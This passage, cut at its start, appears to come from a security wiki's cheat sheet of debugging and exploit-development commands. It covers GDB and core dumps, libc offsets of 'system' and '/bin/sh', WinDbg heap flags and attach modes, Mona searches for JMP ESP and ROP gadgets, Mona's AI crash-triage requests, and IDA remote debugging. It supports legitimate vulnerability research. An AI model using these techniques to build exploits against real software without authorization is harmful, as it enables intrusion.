GOT\\\n**objdump -D ./exec | grep \"VAR_NAME\"** --> Address or a static variable (those are stored in DATA section).\n\n## Core dumps\n\n1. Run `ulimit -c unlimited` before starting my program\n2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`\n3. sudo gdb --core=\\ --quiet\n\n## More\n\n**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\\\n**for i in \\`seq 0 20\\`; do ldd \\ | grep libc; done** --> Loop to observe how much the address changes\\\n**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of \"system\"\\\n**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of \"/bin/sh\"\n\n**strace executable** --> Functions called by the executable\\\n**rabin2 -i executable** --> Addresses of imported functions\n\n## WinDbg and WinDbgX user-mode launch and attach\n\nWhen reproducing a Windows heap corruption, first decide whether to **launch** the target under WinDbg or attach to an already running process. A debugger-created process can use different heap validation settings and allocation geometry from a normal run. In Corelan's x86 test, Classic WinDbg set `NtGlobalFlag` to `0x70` (tail, free, and parameter checks), while WinDbgX set `0x10` (tail check); an allocation gap changed from `0x5008` to `0x5018` under Classic. These are observed values, not portable offsets for an exploit. Check the target rather than assuming its heap matches a run outside the debugger.[[10]](#references)\n\nTo avoid WinDbg's default debug heap while still observing startup, pass `-hd` **and the executable together** when starting the debugger. Microsoft documents `-hd` for a debugger-created process.[[11]](#references)[[12]](#references)\n\nStarting WinDbg with `-hd` and later choosing **Open Executable** in the GUI did not suppress the automatically enabled flags in Corelan's test. Inspect the live PEB and global flags after the initial break. `-hd` does not hide the debugger itself: `BeingDebugged` can still be set, and persistent Image File Execution Options `GlobalFlag` settings can also affect new processes.[[10]](#references)\n\n```text\nwindbg.exe -hd C:\\path\\target.exe\nwindbgx.exe -hd C:\\path\\target.exe\n!gflag\n!peb\ndt nt!_PEB @$peb NtGlobalFlag\n```\n\nFor an already running target, `windbg.exe -p ` makes an **invasive attach** without retroactively enabling WinDbg's launch-time heap flags; it gives breakpoint and execution control but cannot observe initialization that already occurred.[[10]](#references)\n\nUse `windbg.exe -pv -p ` for a **noninvasive attach** when inspection without debug-port ownership is sufficient. It still suspends target threads to read state, but cannot run the target under debugger control, set breakpoints, or intercept exceptions.[[13]](#references)\n\nA debugger-created process stops at the loader's initial breakpoint before the executable's PE entry point; `bp @$exentry` then `bl` and `g` stop at that entry point without hard-coding an ASLR-dependent address. This is the PE entry point, not necessarily `main`.[[10]](#references)[[14]](#references) For event-driven logging and conditional breakpoints, see [WinDbg automation](../../../reversing/reversing-tools-basic-methods/windbg-automation.md). For allocation-selection work, see [Windows heap grooming](../../windows-userland-heap-grooming.md).\n\n```text\nbp @$exentry\nbl\ng\n```\n\n## **Immunity Debugger**\n\n```bash\n!mona modules #Get protections, look for all false except last one (Dll of SO)\n!mona find -s \"\\xff\\xe4\" -m name_unsecure.dll # Search for opcodes inside the DLL (JMP ESP)\n```\n\n## Mona v3 setup and searches\n\nFor current x86 or x64 Windows userland debugging, keep `mona.py` and `windbglib.py` together in one directory. Install PyKD and its `pykd-ext` bootstrapper for the Python interpreter used by WinDbg. Load the bootstrapper, **not** an old `pykd.pyd` from the debugger directory; then invoke Mona by full path or create an alias. The maintained setup and installer are in the [Mona v3 repository](https://github.com/corelan/mona3).[[8]](#references)[[9]](#references)\n\n```text\n!load pykd\n!py -3.9 C:\\Tools\\mona3\\mona.py\nas !mona !py -3.9 C:\\Tools\\mona3\\mona.py\n!mona config -set workingfolder C:\\logs\\%p\n```\n\nInstall `keystone-engine` into the **same Python architecture** used by PyKD. WinDbg cannot assemble arbitrary x64 mnemonics itself, so Mona's `asm` and `findwild` need Keystone for reliable x64 instruction searches; without it, Mona has only a limited instruction cache. On x86, Keystone is preferred when available. For a dual-architecture Python 3.9 setup, install it in both interpreters.[[8]](#references)[[9]](#references)\n\n```text\npy -3.9-32 -m pip install keystone-engine\npy -3.9-64 -m pip install keystone-engine\n!mona asm -s \"jmp eax\"\n```\n\n### Search scope and pointer constraints\n\nMost Mona pointer searches default to non-rebased, non-ASLR modules and executable pages; SEH searches also exclude SafeSEH modules. A blank result may therefore mean the relevant module or page was filtered, not that no gadget exists. `findwild` searches all executable pages, while `getiat` and `geteat` include all modules. Inspect the active criteria printed in the command output before widening a search.[[9]](#references)\n\nUse `-m` to restrict the search to a named module (also overriding the default module criteria), for example after leaking an ASLR module's base. Alternatively, `-cmp` matches a regular expression against a module's full path and `-cm` sets mitigation criteria such as `aslr`, `rebase`, `safeseh`, `nx`, and `cfg`. `-cpb` rejects measured bad bytes in pointer addresses, while `-x R` changes the default executable-page requirement to readable pages. An address found in an ASLR module still requires a valid runtime base; a readable non-executable page is not a code target when DEP applies. See [Windows SEH exploitation](../../stack-overflow/windows-seh-overflow.md) and [stack pivoting](../../stack-overflow/stack-pivoting.md) for the underlying techniques.[[9]](#references)\n\n```text\n!mona jmp -r esp -cpb '\\x00\\x0a\\x0d' # x86 register trampoline\n!mona jmp -r esp -m example.dll # include a selected module after a leak\n!mona rop -cm aslr=true,rebase=true # include mitigated modules deliberately\n!mona mod -cmp example # inspect matching module paths/mitigations\n```\n\n## Mona v3 debugger-context requests for crash triage\n\nMona v3's `!mona tellme` (alias `!mona ai`) packages a live WinDbg/WinDbgX snapshot into `tellme_request.md`. The command was added after the initial v3 release, so run `!mona up` if it is missing. It can submit that request to an AI engine, but the saved request is also useful without one. Use `-offline` explicitly when a default engine may be configured: otherwise Mona asks for confirmation and can send process memory, symbols, input files, and heap history to the provider. Inspect the text between `PROMPT BEGIN` and `PROMPT END` before sharing it. These outputs are hypotheses, not proof of exploitability.[[7]](#references)[[8]](#references)\n\n### Crash and function profiles\n\nFor a crash, `-q 1` collects registers, instruction and stack memory, module/page and heap metadata, the call stack, 32-bit SEH state, and silent `findmsp` cyclic-pattern results. If a register points into a pattern, Mona can add a first trampoline candidate from non-ASLR, non-rebased modules; `-cpb` filters pointer bytes using the target's *measured* bad characters. `-a` adds a heap or memory target, while `-l` can supply allocation/free evidence and `-p` the triggering input. The candidate still needs manual offset, permissions, mitigation, and path validation.[[7]](#references)\n\n```text\n!mona tellme -q 1 -offline -cpb '\\x00\\x0a\\x0d'\n!mona tellme -q 1 -a eax -l alloc.txt -p poc.py -offline\n```\n\nFor code comprehension, `-q 2` resolves the function containing the live EIP/RIP, gathers its disassembly and symbols where available, then follows direct calls and unconditional jumps. `-d` increases traversal depth; `-a` adds a different code address or symbol when the current PC is corrupted or another routine matters. Validate the resulting explanation against the actual branches and runtime state.[[7]](#references)\n\n```text\n!mona tellme -q 2 -a kernel32!CreateFileW -d 2 -offline\n```\n\n### Controlled heap-chunk reachability\n\nBreak where a chunk is known to be attacker-controlled, then use `-q 3 -c` with its address, register, or debugger expression. Mona records the owning chunk, a pointer-sized dump, and registers/stack slots pointing into it. Without `-t`, the request searches for chunk-derived write destinations or indirect dispatch sinks; with `-t`, it asks whether changing only chunk bytes can reach a specific code address. The context also follows direct calls/jumps **and caller return-resume paths**, so a sink after the current function returns is not silently ignored. For this profile `-d` also controls inspected caller frames (default 2, maximum 4); deeper snapshots can become too large for automated submission.[[7]](#references)\n\n```text\n!mona tellme -q 3 -c eax -offline\n!mona tellme -q 3 -c poi(esp+4) -t kernel32!VirtualProtect -d 2 -offline\n```\n\n### Reuse a reviewed request\n\nBuilt-in runs produce `ai.q1`, `ai.q2`, or `ai.q3` templates, but those files are overwritten and are **not** automatically used by the corresponding profile. Copy one, edit its instructions and `[variable]` placeholders, then load the copy with `-q 9 -f`. A custom file may put instructions before `Debugger request JSON:` and a `variables` object containing fields such as `[registers]`, `[pc_disasm]`, `[findmsp]`, and `[heapdynamics]`. An already completed request with no unresolved placeholders can also be reused without recollecting debugger context.[[7]](#references)\n\n```text\n!mona tellme -q 9 -f custom_ai.q1 -offline\n```\n\n## IDA\n\n### Debugging in remote linux\n\nIDA includes remote debugging servers for supported platforms. Copy `linux_server` or `linux_server64` to the Linux target and run it from the directory containing the program being debugged.[[6]](#references)\n\n```\n./linux_server64 -Ppass\n```\n\nThen configure **Debugger → Remote Linux debugger → Process options**:\n\n![IDA remote Linux debugger process options](<../../../images/image (858).png>)\n\n## References\n\n- [1] [Metasploit documentation - How to use `msfvenom`](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html)\n- [2] [GNU GDB manual](https://sourceware.org/gdb/current/onlinedocs/gdb)\n- [3] [NSA - Ghidra Software Reverse Engineering Framework](https://github.com/NationalSecurityAgency/ghidra)\n- [4] [GCC option index](https://gcc.gnu.org/onlinedocs/gcc/Option-Index.html)\n- [5] [GNU Binutils - `objdump`](https://sourceware.org/binutils/docs/binutils/objdump.html)\n- [6] [Hex-Rays - Remote debugging with IDA](https://docs.hex-rays.com/user-guide/debugger/remote-debugging)\n- [7] [Corelan - Mona, tellme: AI-assisted analysis](https://corelan.be/index.php/2026/05/14/mona-tellme)\n- [8] [Corelan - Mona v3](https://github.com/corelan/mona3)\n- [9] [Corelan - Mona v3 Released](https://corelan.be/index.php/2026/05/01/mona-v3-released/)\n- [10] [Corelan - Debugging: WinDBG & WinDBGX Fundamentals](https://corelan.be/index.php/2026/03/23/debugging-windbg-windbgx-fundamentals)\n- [11] [Microsoft - Debugging a User-Mode Process Using WinDbg](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-a-user-mode-process-using-windbg)\n- [12] [Microsoft - WinDbg Command-Line Options](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/windbg-command-line-options)\n- [13] [Microsoft - Noninvasive Debugging (User Mode)](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/noninvasive-debugging--user-mode-)\n- [14] [Microsoft - Pseudo-Register Syntax](https://learn.microsoft.com/en-us/windows-hardware/drivers/debuggercmds/pseudo-register-syntax)\n"}